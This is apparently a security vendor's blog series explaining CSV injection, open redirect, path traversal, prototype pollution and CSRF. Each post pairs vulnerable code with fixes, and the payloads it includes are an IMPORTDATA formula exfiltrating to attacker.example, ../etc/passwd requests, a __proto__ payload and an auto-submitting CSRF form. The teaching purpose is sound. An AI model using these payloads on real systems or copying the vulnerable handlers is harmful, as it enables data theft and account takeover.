Author: UnboundCompute

  • What is CSV injection (formula injection)?

    What is CSV injection (formula injection)?

    CSV injection is a bug where attacker controlled text saved by your app turns into a live spreadsheet formula the moment someone exports the data and opens it. It is also called formula injection. The app itself looks fine and behaves correctly, which is exactly why this class of issue is so easy to miss.

    What is CSV injection (formula injection)?

    Spreadsheet programs treat a cell as a formula when its first character is =, +, -, or @. They do this for any file, including a plain CSV that your application generated. So if a user can store a value that starts with one of those characters, and that value later lands in an exported CSV, the spreadsheet will run it as code on whoever opens the file.

    The key idea is that the danger does not live in your web app at all. Your pages render the value as harmless text. The danger appears later, in a different program, on a different machine, after the data leaves your system. That gap between where the data is stored and where it is interpreted is the whole bug.

    The vulnerability is not in the value, it is in the moment a CSV cell stops being text and starts being a formula.

    A concrete example on Acme Notes

    Imagine a note taking app called Acme Notes. Users can set a display name. The app shows that name on the dashboard and never lets it break the page, so on the web it is perfectly safe.

    A user signs up and sets their display name to a value crafted to behave as a formula:

    Display name: =IMPORTDATA("https://attacker.example/x?d="&A2)

    On the website this is just a weird string. It sits in the database. It renders as plain text in the user list. Nothing fires.

    Now an admin opens the internal users page and clicks Export to CSV. The export writes one row per user, and the display name column contains that exact string. The admin double clicks the downloaded file and the spreadsheet opens it. The first character is =, so the cell is evaluated. Two outcomes are common:

    • Data exfiltration via web requests. Functions like IMPORTDATA, WEBSERVICE, or HYPERLINK can fetch a URL. The attacker concatenates the contents of a neighboring cell into that URL, so the spreadsheet quietly sends another user’s email or token to a server the attacker controls.
    • Command execution via legacy DDE. Older spreadsheet setups support Dynamic Data Exchange, where a cell starting with = could launch an external program. At a high level, a crafted cell asks the spreadsheet to start a process on the admin machine. Modern versions warn or block this, but legacy and misconfigured installs still run it.

    The person who gets hit is not the attacker. It is the admin who trusted an export from their own product. That is what makes formula injection worth taking seriously.

    Why this is an output encoding problem

    It helps to name the real defect. This is an output encoding bug, the same family as cross site scripting, just aimed at a spreadsheet instead of a browser. Your app accepted text and stored it correctly. The mistake happens when you write that text into a CSV without encoding it for the program that will read it.

    A browser interprets <script>. A spreadsheet interprets a leading =. In both cases the fix is the same shape: encode data for the context it is about to enter. A CSV opened in Excel or Google Sheets is an executable context, so it needs its own escaping.

    Why scanners often miss it

    Most automated scanners poke the live application and read the response. They look at rendered pages and API replies. By that measure Acme Notes passes. The stored name is escaped in HTML, there is no error, no reflected payload, no broken markup. The dangerous behavior only shows up after an export, in a separate program, triggered by a human action the scanner never performs. A pattern matcher that only watches HTTP responses has nothing to flag.

    The fix in code

    The reliable fix is at export time, because that is the context where the value becomes dangerous. When you build each CSV cell, neutralize any value that starts with a formula trigger. The common approach is to prefix risky cells with a single quote, or to escape the leading character so the spreadsheet treats the cell as text.

    Dangerous cell written straight to the CSV:
    =IMPORTDATA("https://attacker.example/x?d="&A2)
    
    Safe cell after sanitizing on export:
    '=IMPORTDATA("https://attacker.example/x?d="&A2)
    
    Sanitizer applied to every exported field:
    def safe_csv_field(value):
        text = str(value)
        if text and text[0] in ('=', '+', '-', '@', '\t', '\r'):
            return "'" + text
        return text

    Three layers work together:

    • Escape on export. Prefix any cell starting with =, +, -, @, a tab, or a carriage return with a single quote. This is the load bearing fix and it covers every field.
    • Validate on input where it fits. If a field has no business starting with a formula character, such as a display name or a phone number, reject or clean it when it is saved. Treat this as defense in depth, not your only control.
    • Set a safe export format. Quote every field, write a UTF8 byte order mark, and prefer a format that does not auto evaluate. Document that exports are data, not trusted spreadsheets.

    One caution. Prefixing with a single quote changes the displayed value slightly, so apply it during CSV generation rather than mutating the stored record. The database should keep the real value, and only the exported copy gets the guard.

    How to detect it

    You can find this yourself without any special tooling:

    • List every field a user can control: names, descriptions, notes, addresses, support messages.
    • Set one of those fields to a benign probe like =1+1 or =HYPERLINK("https://example.com","click").
    • Trigger every export path in the product, then open the file in a real spreadsheet and watch for a cell that evaluates instead of showing the literal text.
    • Check email reports and scheduled exports too, since those reach people who never see the app.

    If =1+1 shows up as 2, the field is injectable and your export needs the guard above.

    Where this fits in finding bugs

    Formula injection is a clean example of a flaw you only see when you understand how the data flows, from a user form to a stored record to an export to a spreadsheet on someone else’s machine. A checklist of known payloads against the live page will say everything is fine. This is the kind of assumption gap an autonomous researcher that tests how an app is actually used, rather than matching patterns, is built to find. For more on input handling bugs, see our injection and input category, and you can read what we are building on the about page.

    Frequently asked questions

    Is CSV injection the same as formula injection?

    Yes, the two names describe the same bug. Attacker controlled text saved by your app becomes a live spreadsheet formula the moment someone exports the data and opens it in a program like Excel or Google Sheets. The trigger is a cell whose first character is =, +, -, or @.

    Why do web vulnerability scanners usually miss CSV injection?

    Most scanners poke the live application and read the HTTP response, where the stored value renders as harmless escaped text. The dangerous behavior only appears later, in a separate spreadsheet program, after a human triggers an export and opens the file. A pattern matcher that only watches responses has nothing to flag.

    How do you fix CSV injection without breaking stored data?

    Sanitize at export time, not in the database. When you build each CSV cell, prefix any value that starts with =, +, -, @, a tab, or a carriage return with a single quote so the spreadsheet reads it as text. Keep the real value in the database and apply the guard only to the exported copy. OWASP describes the same approach in its CSV Injection guide.

    Who actually gets harmed by a CSV injection bug?

    Usually not the attacker but the person who opens the export, often an admin who trusted a file from their own product. A formula like one using IMPORTDATA can quietly send a neighboring cell, such as another user’s email or token, to a server the attacker controls, all on the admin’s machine.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • What is an open redirect vulnerability?

    What is an open redirect vulnerability?

    An open redirect vulnerability happens when a web app takes a destination URL from user input and sends the browser there without checking where “there” is. The app means to bounce you back to a page on its own site. Instead an attacker hands it a link that quietly forwards you to a site they control. It looks small. It is the start of phishing, token theft, and server side attacks.

    What an open redirect vulnerability actually is

    Most apps redirect users all the time. You log in and the app sends you back to the page you were trying to reach. You log out and it returns you to the homepage. To remember where you were headed, the app stashes that destination in a URL parameter. The classic name is next, but url, return, redirect, dest, and continue show up just as often.

    The bug is what the app does with that value. If it reads the parameter and redirects to it as is, anyone can set it to any address. The trust you place in the visible domain at the start of the link is the exact thing the attacker borrows.

    A concrete example on Acme Notes

    Say Acme Notes protects its app behind a login. When you hit a private page while logged out, it sends you to the login screen and remembers your target:

    https://acme-notes.example/login?next=/dashboard

    After you sign in, the server reads next and forwards you to /dashboard. Useful. Now an attacker crafts a different link:

    https://acme-notes.example/login?next=https://acme-n0tes-login.example/steal

    The link still begins with the real acme-notes.example domain, so it reads as safe. The victim logs in as normal. Then Acme Notes itself forwards the browser to the attacker page. The user never sees the swap because the trusted domain did the forwarding.

    Why an open redirect vulnerability matters

    On its own a redirect feels harmless. The damage comes from what it enables.

    • Phishing that starts on a trusted domain. A link in an email begins with a name the victim knows. Their eye stops at the first domain. The forward lands them on a fake login page that copies the real one, and they type their password into it.
    • OAuth and token theft. When the redirect is chained with a weak redirect_uri check in an OAuth flow, the authorization code or access token in the URL can be forwarded straight to an attacker host. The login provider sees a request that looks valid because it started on the real client.
    • A stepping stone to SSRF. If a server side component follows the redirect instead of a browser, an open redirect can push a backend fetch toward an internal address it should never reach. That turns a client side annoyance into server side request forgery against systems behind the firewall.

    An open redirect is rarely the whole attack. It is the trusted first hop that makes the rest of the attack believable.

    The vulnerable handler, and a fix

    Here is the heart of the problem. A handler that trusts the parameter:

    // Vulnerable: redirects to whatever the user supplies
    app.get("/login", (req, res) => {
      const next = req.query.next || "/dashboard";
      // ... authenticate the user ...
      return res.redirect(next);   // next = "https://evil.example" works fine
    });

    The fix is to never redirect to raw user input. Treat the parameter as a hint, then map it to a destination you control. The reliable approach is an allowlist of relative paths or known hosts, with absolute and protocol relative URLs rejected outright:

    // Fixed: only allow safe, internal, relative paths
    const SAFE_PATHS = new Set(["/dashboard", "/settings", "/notes"]);
    
    function safeNext(next) {
      if (typeof next !== "string") return "/dashboard";
      // Reject absolute URLs: http:, https:, javascript:, data:, mailto:
      if (/^[a-z][a-z0-9+.-]*:/i.test(next)) return "/dashboard";
      // Reject protocol relative URLs like //evil.example
      if (next.startsWith("//")) return "/dashboard";
      // Must be a path we recognise
      return SAFE_PATHS.has(next) ? next : "/dashboard";
    }
    
    app.get("/login", (req, res) => {
      // ... authenticate the user ...
      return res.redirect(safeNext(req.query.next));
    });

    If you need to allow more than a fixed set of paths, parse the value and compare its host against an allowlist of hostnames you own. Reject anything that does not match, and always fall back to a safe default rather than to the input.

    Why blocklists fail

    A common first attempt is to block bad strings. Strip out http:// and https://, or refuse anything containing evil.example. This loses, every time, because the set of ways to write a hostile URL is open ended:

    • //evil.example has no scheme, so a filter looking for http misses it. The browser still treats it as an absolute address.
    • https:/\evil.example and backslash tricks get normalised by some browsers into a real redirect.
    • https://acme-notes.example.evil.example contains your domain as a substring, so a naive contains check passes it.
    • URL encoding, double encoding, and whitespace such as %2F%2Fevil.example slip past simple matching.

    A blocklist tries to name every bad input. You cannot. An allowlist names the small set of good outputs, which you can. That is the whole reason allowlists win here: you are deciding what is allowed, not guessing at everything that is not. If you want to see how different parsers read the same value, our free URL parser confusion analyzer shows where a host or scheme can disagree and slip past an allowlist check.

    How to detect and prevent open redirects

    Detection starts with finding every place the app turns user input into a destination.

    • Grep for redirect calls. Search the codebase for redirect, Location headers, res.redirect, sendRedirect, and meta refresh tags. For each one, trace the destination back to its source. If the source is a query parameter, form field, or header, you have a candidate.
    • Watch the usual parameter names. Look at every next, url, return, returnTo, redirect, continue, and dest in your routes.
    • Test the obvious payloads. Set the parameter to https://example.org and to //example.org and see if the browser leaves your domain. If it does, you have an open redirect.

    Prevention comes down to a few rules you apply everywhere:

    • Never pass raw user input into a redirect.
    • Prefer relative paths from a known allowlist. Map a short token or path to a destination instead of carrying a full URL.
    • If you must accept hosts, compare against an allowlist of hostnames you own and reject everything else.
    • Reject absolute URLs and protocol relative //evil.example values up front.
    • Always fall back to a safe default when validation fails, never to the input.

    If you want the background on this and related logic bugs, the vulnerability basics category covers the patterns that show up again and again.

    Why this bug hides from simple scanners

    An open redirect is a logic bug, not a payload. A scanner that fires a list of known strings might catch the simplest case. It tends to miss the redirect that only triggers after login, or the one that needs a specific parameter order, or the chain where the redirect feeds an OAuth flow two steps later. Finding those means understanding what the app is trying to do and where its trust in user input quietly leaks out.

    That is the kind of assumption testing an autonomous researcher is built for: tracing a destination from input to redirect, then checking whether the app’s belief about “safe” actually holds. You can read more about that approach on the about page.

    Frequently asked questions

    Is an open redirect actually a serious vulnerability on its own?

    On its own a redirect feels minor, but its value is as the trusted first hop in a larger attack. It makes phishing believable because the link starts on a domain the victim knows, and it can be chained into OAuth token theft or server side request forgery. Treat it as the opening move, not the whole attack.

    Why use an allowlist instead of blocking bad redirect URLs?

    A blocklist tries to name every hostile input, which is impossible because of forms like //evil.example with no scheme, backslash tricks, and encoded values that slip past simple matching. An allowlist names the small set of good destinations you actually support, which you can define exactly. You are deciding what is allowed rather than guessing at everything that is not.

    How can an open redirect lead to server side request forgery?

    If a server side component follows the redirect instead of a browser, the open redirect can push a backend fetch toward an internal address it should never reach. That turns a client side annoyance into a request against systems behind the firewall. The PortSwigger Web Security Academy guide on SSRF covers how those internal requests get abused.

    Which parameter names commonly hide open redirect bugs?

    Watch for next, url, return, returnTo, redirect, continue, and dest. For each one, trace the destination back to its source, and if it comes from a query parameter, form field, or header that flows into a redirect without checks, you have a candidate to test.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: URL Parser Confusion Analyzer lets you see how different parsers disagree about the host in a URL. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • What is path traversal?

    What is path traversal?

    A path traversal bug lets an attacker step out of the folder your app meant to serve and read files it never intended to share. It shows up when an app takes a file name from the URL, like ?file=invoice.pdf, and hands it straight to the file system. Change that value to ../../etc/passwd and the same code that served an invoice now reads a system password file. This post explains how the bug works from zero, also called directory traversal, and how to shut it down.

    What is path traversal in plain terms

    Most web apps store files on disk and let users fetch them by name. A download endpoint might map a request to a folder like /var/www/files/ and tack the requested name onto the end. That is fine until the name contains the sequence ../, which means “go up one directory.” Each ../ climbs one level toward the root of the disk. Stack enough of them and you escape the intended folder.

    Here is the shape of the request. A normal one looks like this:

    GET /download?file=invoice.pdf HTTP/1.1
    Host: acme-notes.example

    The server reads /var/www/files/invoice.pdf and returns it. Now the attacker sends this instead:

    GET /download?file=../../../../etc/passwd HTTP/1.1
    Host: acme-notes.example

    The server joins the path and ends up reading /etc/passwd from the disk root. Nothing about the request looks malformed. It is the same parameter, the same code path, just a different value. That is what makes path traversal easy to miss in a quick test.

    The file name in a URL is user input. The moment it touches a file API without being checked against a fixed base directory, the whole disk is in scope.

    What an attacker can actually read

    The damage depends on what the app can reach on the host. Common targets include:

    • Source code. Reading your own application files, like ../config/database.yml or ../../app/settings.py, exposes logic and secrets in one shot.
    • Config and credentials. Files such as .env, cloud credential files, and database config often sit a few folders above the served directory.
    • Secrets and keys. Private keys, API tokens, and session signing keys turn a read bug into account takeover or full server access.
    • System files. On Unix, /etc/passwd confirms the bug and lists user accounts. On Windows, files like C:\Windows\win.ini serve the same proof.

    A read primitive sounds limited. In practice, reading the right config file once is enough to pivot into the database or the cloud account.

    Encoding tricks at a high level

    Apps that try to block traversal with a simple text filter often check for the literal string ../ and stop there. Attackers get around that by encoding the same characters so the filter does not recognize them, while the file system still decodes them back to ../ later.

    • Percent encoding. A dot can be written as %2e, so ../ becomes %2e%2e%2f. A naive filter scanning for dots and slashes sees nothing.
    • Double encoding. Encode the percent sign itself and you get %252e. If one layer of the stack decodes once and passes it on, a second decode step turns it back into a dot.
    • Null bytes, historically. Older platforms truncated a string at a null byte (%00), so secret.key%00.pdf could pass a .pdf check and still open secret.key. Modern runtimes mostly closed this, but legacy code and native libraries can still be exposed.

    The lesson is not to memorize each trick. Filtering for bad strings is the wrong model. You cannot list every encoding of ../. You have to validate the resolved path instead, which I cover below.

    Windows versus Unix paths

    Path separators differ by platform, and that matters for both attack and defense. Unix uses the forward slash /. Windows accepts both the backslash \ and the forward slash, so ..\..\..\windows\win.ini and ../../../windows/win.ini can both work. A filter that only looks for ../ misses the backslash form on a Windows host. Windows also has drive letters and UNC paths, which give attackers more ways to name an absolute location. If your defense assumes one separator, it is already incomplete on the other platform.

    The link to local file inclusion

    Path traversal is about reading a file off disk. Local file inclusion, or LFI, goes a step further: the app does not just read the file, it executes or interprets it. In a templating or scripting setup, a traversal that points at a file the engine will run can turn a read bug into code execution. The same untrusted file name reaches a more dangerous sink. So when you find a traversal, ask what the app does with the file after reading it. If it ever interprets the contents, the impact jumps from disclosure to execution.

    A vulnerable endpoint and a fixed version

    Here is a download handler written the wrong way, then the same handler with the holes closed. The vulnerable version joins user input straight onto a base path:

    // VULNERABLE: user input reaches the file API directly
    const path = require('path');
    const fs = require('fs');
    
    app.get('/download', (req, res) => {
      const base = '/var/www/files';
      const filePath = base + '/' + req.query.file;   // ../../etc/passwd escapes base
      res.sendFile(filePath);
    });

    The fixed version resolves the full path, confirms it still sits inside the base directory, and only serves names from a known set:

    // FIXED: canonicalize, verify containment, allowlist the name
    const path = require('path');
    const fs = require('fs');
    
    const BASE = path.resolve('/var/www/files');
    const ALLOWED = new Set(['invoice.pdf', 'receipt.pdf', 'terms.pdf']);
    
    app.get('/download', (req, res) => {
      const requested = path.basename(req.query.file || '');  // strip any directory parts
    
      if (!ALLOWED.has(requested)) {
        return res.status(404).send('Not found');
      }
    
      const resolved = path.resolve(BASE, requested);
    
      // Containment check: resolved path must stay inside BASE
      if (resolved !== BASE && !resolved.startsWith(BASE + path.sep)) {
        return res.status(400).send('Bad request');
      }
    
      res.sendFile(resolved);
    });

    Three things make the fixed version safe. It canonicalizes the path with path.resolve, which collapses every ../ into a real absolute location, so encoded or stacked traversals all reduce to one concrete path you can check. It then verifies containment, confirming the resolved path still starts with the base directory before any read happens. And it uses an allowlist of known names, so anything outside that set is refused before path logic runs. The rule underneath all three: never pass raw user input to a file API.

    How to detect and prevent it

    Detection starts with finding every place a request value reaches the file system. Look for download, export, preview, avatar, and report endpoints, and any code that builds a path by joining strings. Then test those values with traversal sequences and their encoded forms, watching for a system file in the response or an error that leaks a path.

    Prevention checklist

    • Resolve, then verify. Canonicalize the full path and confirm it stays inside the intended base directory. Reject anything that does not.
    • Prefer an allowlist. Map requests to a fixed set of known names or IDs rather than accepting arbitrary file names.
    • Strip directory parts. Reduce input to a bare file name with a function like basename so separators cannot survive.
    • Decode fully before checking. Validate after all decoding is done, so %2e%2e and double encoded forms cannot slip past a string filter.
    • Handle both separators. Account for / and \, drive letters, and absolute paths, especially on Windows hosts.
    • Least privilege on disk. Run the app as a user that cannot read secrets or system files, so a bug that slips through still reads little.

    The reason this bug survives is that the app’s assumption, “the file name only ever points inside this folder,” is never enforced at the line where the file is read. Testing that assumption directly is exactly the kind of work an autonomous security researcher that tests assumptions is built for. If you want more on this family of issues, the injection and input category collects related reads. Find your file endpoints, resolve and check every path, and the whole class goes away.

    Frequently asked questions

    Is path traversal the same as local file inclusion?

    They are related but not identical. Path traversal lets an attacker read a file off disk that should be out of reach, while local file inclusion goes further and makes the app execute or interpret that file. If you find a traversal, check what the app does with the file after reading it, because a read bug becomes code execution when the contents are later run.

    Why does filtering for ../ fail to stop path traversal?

    Because there are too many ways to write the same sequence. Attackers use percent encoding like %2e%2e%2f, double encoding like %252e, and on Windows the backslash form ..\, all of which a literal string filter misses. The reliable fix is to canonicalize the full path and confirm it still sits inside your intended base directory before any read happens.

    How is path traversal different on Windows versus Unix?

    Unix uses the forward slash, but Windows accepts both the backslash and the forward slash, plus drive letters and UNC paths, so it offers more ways to name an absolute location. A filter that only looks for ../ misses the ..\ form on a Windows host, so any defense that assumes one separator is already incomplete on the other platform.

    What is the most reliable way to prevent path traversal?

    Resolve the full path first, then verify it still starts with your base directory, and prefer mapping requests to an allowlist of known names or IDs over accepting arbitrary file names. Running the app with least privilege on disk limits what a missed case can reach. MITRE tracks this weakness as CWE-22.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • What is prototype pollution?

    What is prototype pollution?

    Prototype pollution is a JavaScript bug where an attacker writes to the shared prototype that almost every object inherits from, and that one write quietly changes objects all over your app. It usually starts with untrusted JSON and a helper that copies fields into an object without checking the key names. The result is a property that appears on data you never touched, which is how prototype pollution turns a harmless merge into privilege escalation, a crash, or a step toward worse.

    What an object prototype actually is

    In JavaScript every object has a hidden link to another object called its prototype. When you read a property that the object does not have, the engine walks up that chain and checks the prototype next. Most plain objects you create with {} link to one shared object: Object.prototype.

    Here is the part that matters. There is one Object.prototype for the whole runtime. Every {} you make, every parsed JSON object, every options bag passed around your code, all of them inherit from that same object. So if an attacker can add a property to Object.prototype, that property shows up as a default on millions of objects at once.

    Two doors lead to that shared object. The first is __proto__, an accessor that points at an object’s prototype. Reading obj.__proto__ gives you the prototype. Writing obj.__proto__.isAdmin = true sets a property on the prototype itself, not on obj. The second door is constructor.prototype. From any object you can reach obj.constructor, which for a plain object is Object, and Object.prototype from there. Both paths land on the same shared object.

    How prototype pollution happens in real code

    The classic source is a recursive merge that copies user supplied JSON into an existing object. Imagine a small invented app, Acme Notes, that lets users save preferences. The server merges the posted JSON onto a defaults object:

    function merge(target, source) {
      for (const key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
          if (typeof target[key] !== 'object') target[key] = {};
          merge(target[key], source[key]);   // recurse with attacker controlled key
        } else {
          target[key] = source[key];
        }
      }
      return merge;
    }
    
    // defaults the server trusts
    const prefs = { theme: 'light' };
    
    // body posted by the user
    const body = JSON.parse(req.body);
    merge(prefs, body);
    

    Now the attacker posts this body:

    { "__proto__": { "isAdmin": true } }
    

    The loop hits the key __proto__, sees an object value, and recurses into target["__proto__"], which is Object.prototype. It then sets isAdmin = true on the prototype. The user’s own prefs object looks untouched. But Object.prototype.isAdmin is now true for the entire process.

    The attacker never edits the object you are looking at. They edit the default that every other object falls back to, and you read that default by accident later.

    Why the polluted property leaks everywhere

    Later, in code that has nothing to do with preferences, someone checks a fresh object:

    const session = {};            // a brand new, empty object
    if (session.isAdmin) {
      grantAdminAccess();          // runs, because the property is inherited
    }
    

    session has no own isAdmin key, so the engine walks the prototype chain, finds isAdmin = true on Object.prototype, and returns it. The check passes. That is privilege escalation from a single preferences write, and the two pieces of code may live in different files written by different people.

    The other shapes of damage

    • Denial of service. Pollute a property that core libraries read, such as a numeric or function valued field, and unrelated objects start failing type checks or throwing. A few bytes of JSON can crash a worker on every request.
    • Gadget toward code execution. On its own a polluted property is just a default value. The danger is when that default flows into a sink that later treats it as code or as a config that controls a child process or a template. If a templating engine reads an inherited option, or a command runner reads inherited arguments, the polluted value becomes the input to that sink. We will keep this at a high level: the lesson is that a write you think is contained can reach a dangerous place because so much code reads from the shared prototype.

    Fixing the vulnerable merge

    The same merge becomes safe once you refuse the dangerous keys and stop trusting inherited properties. Several defenses stack together:

    const BANNED = new Set(['__proto__', 'constructor', 'prototype']);
    
    function safeMerge(target, source) {
      for (const key of Object.keys(source)) {     // own keys only
        if (BANNED.has(key)) continue;             // reject the doors
        const value = source[key];
        if (value && typeof value === 'object' && !Array.isArray(value)) {
          if (typeof target[key] !== 'object' || target[key] === null) {
            target[key] = Object.create(null);     // no prototype to pollute
          }
          safeMerge(target[key], value);
        } else {
          target[key] = value;
        }
      }
      return target;
    }
    

    What each piece buys you:

    • Block __proto__, constructor, and prototype keys. This shuts both doors to the shared prototype. Reject the whole request rather than silently dropping the key, so abuse is visible.
    • Use Object.create(null) for bags of user data. An object with a null prototype has no inherited isAdmin to leak and no __proto__ accessor to abuse. Lookups return only own keys.
    • Prefer a Map over a plain object for key value data from users. A Map stores keys as real entries, so __proto__ is just a string key with no special meaning and no prototype chain to walk.
    • Freeze the prototype. Object.freeze(Object.prototype) at startup makes the shared object read only, so even a missed sink cannot write to it. Test this, since some libraries expect to extend prototypes.
    • Validate against a schema. Define the exact fields you accept and their types, then drop everything else. A schema that allows only theme and fontSize never lets __proto__ through in the first place.

    How to detect and prevent it

    Detection starts with knowing where untrusted data meets object writes. Look for these patterns:

    • Recursive merge, deep clone, deep assign, or set(obj, path, value) helpers that accept user controlled keys or dotted paths like a.b.c.
    • Any spot where JSON.parse output flows straight into a merge or into bracket assignment obj[key] = value.
    • Query string parsers that build nested objects, since ?__proto__[isAdmin]=true is the URL version of the same attack.

    To prevent it, treat all three steps as one job: reject dangerous keys at the boundary, validate input against a strict schema, and use prototype free structures (Object.create(null) or Map) for user data. Freeze Object.prototype as a backstop. Keep dependencies patched, because popular merge and path setting libraries have shipped and fixed this exact bug more than once. For a wider view of input driven bugs, see our injection and input writeups, since prototype pollution sits in that family.

    Why this bug rewards understanding over pattern matching

    Prototype pollution is rarely visible in one file. The write happens in a preferences endpoint and the payoff happens in an auth check two modules away, so a tool that only matches known payloads can miss the link entirely. Finding it means understanding what the app assumes, that a new empty object is truly empty, and then testing whether that assumption holds. This is the kind of assumption gap an autonomous researcher that experiments and verifies is built to find. If you want to see how UnboundCompute approaches that, read more about how it works.

    Frequently asked questions

    Can prototype pollution lead to remote code execution?

    Not on its own, but it can. A polluted property is just a default value until it flows into a sink that treats it as code or config, such as a template engine or a command runner that reads an inherited option. When that happens, the value you thought was contained becomes the input to a dangerous operation, which is why the bug is rated higher than a simple data tampering issue.

    What is the difference between __proto__ and constructor.prototype in this attack?

    Both are paths that reach the same shared Object.prototype, so polluting through either one affects every plain object in the runtime. __proto__ is a direct accessor for an object’s prototype, while constructor.prototype reaches it by going through the object’s constructor first. A good defense blocks the keys __proto__, constructor, and prototype together rather than just one.

    Does using Object.create(null) actually stop prototype pollution?

    It removes the prototype chain for that one object, so there is no inherited isAdmin to leak and no __proto__ accessor to abuse on it. It is a strong control for bags of user data, but it does not protect objects elsewhere in your code, so pair it with key filtering and schema validation. See the PortSwigger Web Security Academy guide on prototype pollution for the wider attack surface.

    Why do automated scanners often miss prototype pollution?

    The write happens in one place, like a preferences endpoint, and the payoff happens in a separate auth or config check that may live in another file. A tool that only matches known payloads against a single response cannot see that the two are connected, so finding the bug means understanding what the app assumes about fresh objects being empty.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • What is CSRF (cross site request forgery)?

    What is CSRF (cross site request forgery)?

    A csrf attack tricks a logged in user’s browser into sending a request they never meant to send. The browser attaches the victim’s session cookie automatically, so the target app sees a normal, authenticated request and acts on it. Cross site request forgery, often written CSRF, abuses the gap between who clicked and what the server thinks happened.

    What a csrf attack actually is

    CSRF works because of one browser habit: cookies travel with every request to the site they belong to. If you are logged into Acme Notes in one tab, your session cookie goes out with any request your browser makes to acmenotes.example, no matter which page or which site started that request.

    An attacker cannot read your cookie. They do not need to. They only need your browser to fire a request, and the browser supplies the cookie on its own. The server reads the cookie, sees a valid session, and trusts the request. This is the trap.

    CSRF is not about stealing your session. It is about borrowing it for one request while you are not looking.

    How the browser auto sends cookies

    Say you log into Acme Notes and get a cookie named session=abc123. From that point, every request to acmenotes.example carries Cookie: session=abc123. A form submit, an image load, a script, a redirect: the cookie rides along. The browser does not ask whether the page that triggered the request is Acme Notes or some random blog. That ambient cookie is what an attacker reaches for.

    A concrete example: changing a victim’s email

    Acme Notes lets a user change their account email by posting to /account/email with one field, new_email. The endpoint checks the session cookie and nothing else. That single weak assumption, the cookie alone proves intent, is all a csrf attack needs.

    The attacker builds a page and emails the victim a link, or hides it inside an ad. The victim, still logged into Acme Notes in another tab, opens the page. This form submits itself the instant the page loads:

    <!-- evilpage.example/win.html -->
    <form id="x" action="https://acmenotes.example/account/email" method="POST">
      <input type="hidden" name="new_email" value="attacker@evil.example">
    </form>
    <script>document.getElementById("x").submit();</script>

    No click is needed. On load, the browser posts to Acme Notes and attaches session=abc123 because the request goes to acmenotes.example. The server sees a valid session, updates the email to attacker@evil.example, and now the attacker can trigger a password reset and take the account. The victim saw a blank page.

    Why it works: ambient authority

    The flaw is ambient authority. The session cookie acts as standing permission that applies to any request, regardless of where the request came from. The server proves who you are but never checks whether you meant this. CSRF lives in that missing check.

    What makes a request CSRFable

    Not every endpoint is a target. A request is exposed when all three of these hold:

    • It changes state. Updating an email, transferring funds, deleting a note, adding an admin. Read only endpoints leak nothing useful through CSRF on their own.
    • It authenticates by cookie alone. If the session rides only in an auto sent cookie, the browser hands it over for free. Endpoints that require a token in a custom header are much harder to forge from another origin.
    • It is predictable. The attacker must know the method, the URL, and the field names in advance. POST /account/email with one field new_email is easy to guess and easy to forge.

    Flip any one of these and the attack gets harder. Defenses below break the second and third.

    Defenses against a csrf attack

    Synchronizer tokens (anti CSRF tokens)

    The server generates a random token tied to the session, embeds it in every form, and requires it back on every state changing request. The attacker’s page cannot read that token, because the same origin policy blocks it from reading Acme Notes pages, so the forged request arrives without a valid token and the server rejects it.

    # server side check, in plain pseudocode
    token_from_form = request.body["csrf_token"]
    token_for_session = session["csrf_token"]
    
    if not token_from_form or token_from_form != token_for_session:
        reject(403)   # missing or wrong token, drop the request
    else:
        process_email_change()

    Token randomness matters. The token must be long and unpredictable, drawn from a cryptographically secure random source and unique per session. If the token is a counter, a timestamp, or a hash of the username, the attacker can compute it and include it in the forged form. A guessable token is no protection at all.

    SameSite cookies

    Mark the session cookie SameSite=Lax or SameSite=Strict. The browser then withholds the cookie on cross site requests. With SameSite=Strict, a POST from evilpage.example to acmenotes.example carries no session cookie, so the forged request lands as an anonymous one and fails. Lax still blocks cross site POSTs while allowing top level navigations, which suits most apps. Set this, and also keep tokens, because older browsers and some flows still slip through. You can confirm a cookie actually carries SameSite, Secure, and HttpOnly with our free security headers and CSP analyzer.

    Checking Origin and Referer

    State changing requests carry an Origin header, and often a Referer, that name the page that started them. The server can reject any request whose Origin is not its own. A forged request from evilpage.example shows Origin: https://evilpage.example, which fails the check. Treat this as a second layer, not the only one, since a missing header should be handled with care rather than waved through.

    Why CORS is not a CSRF defense

    This one trips people up. CORS controls whether JavaScript on one origin may read the response from another origin. CSRF does not care about reading the response. The damage, changing the email, is done by the request itself the moment the server processes it. The attacker never needs to see the reply. A restrictive CORS policy does not stop the browser from sending the cross site request with cookies attached, so it does nothing against a csrf attack. Treat CORS and CSRF as separate problems. That said, CORS has its own failure mode in the other direction, where response headers expose authenticated data to any origin; our free CORS misconfiguration checker flags those dangerous combinations.

    A short checklist

    • Require an anti CSRF token on every state changing request, and make it random per session.
    • Set SameSite on session cookies.
    • Validate Origin on writes as a backup.
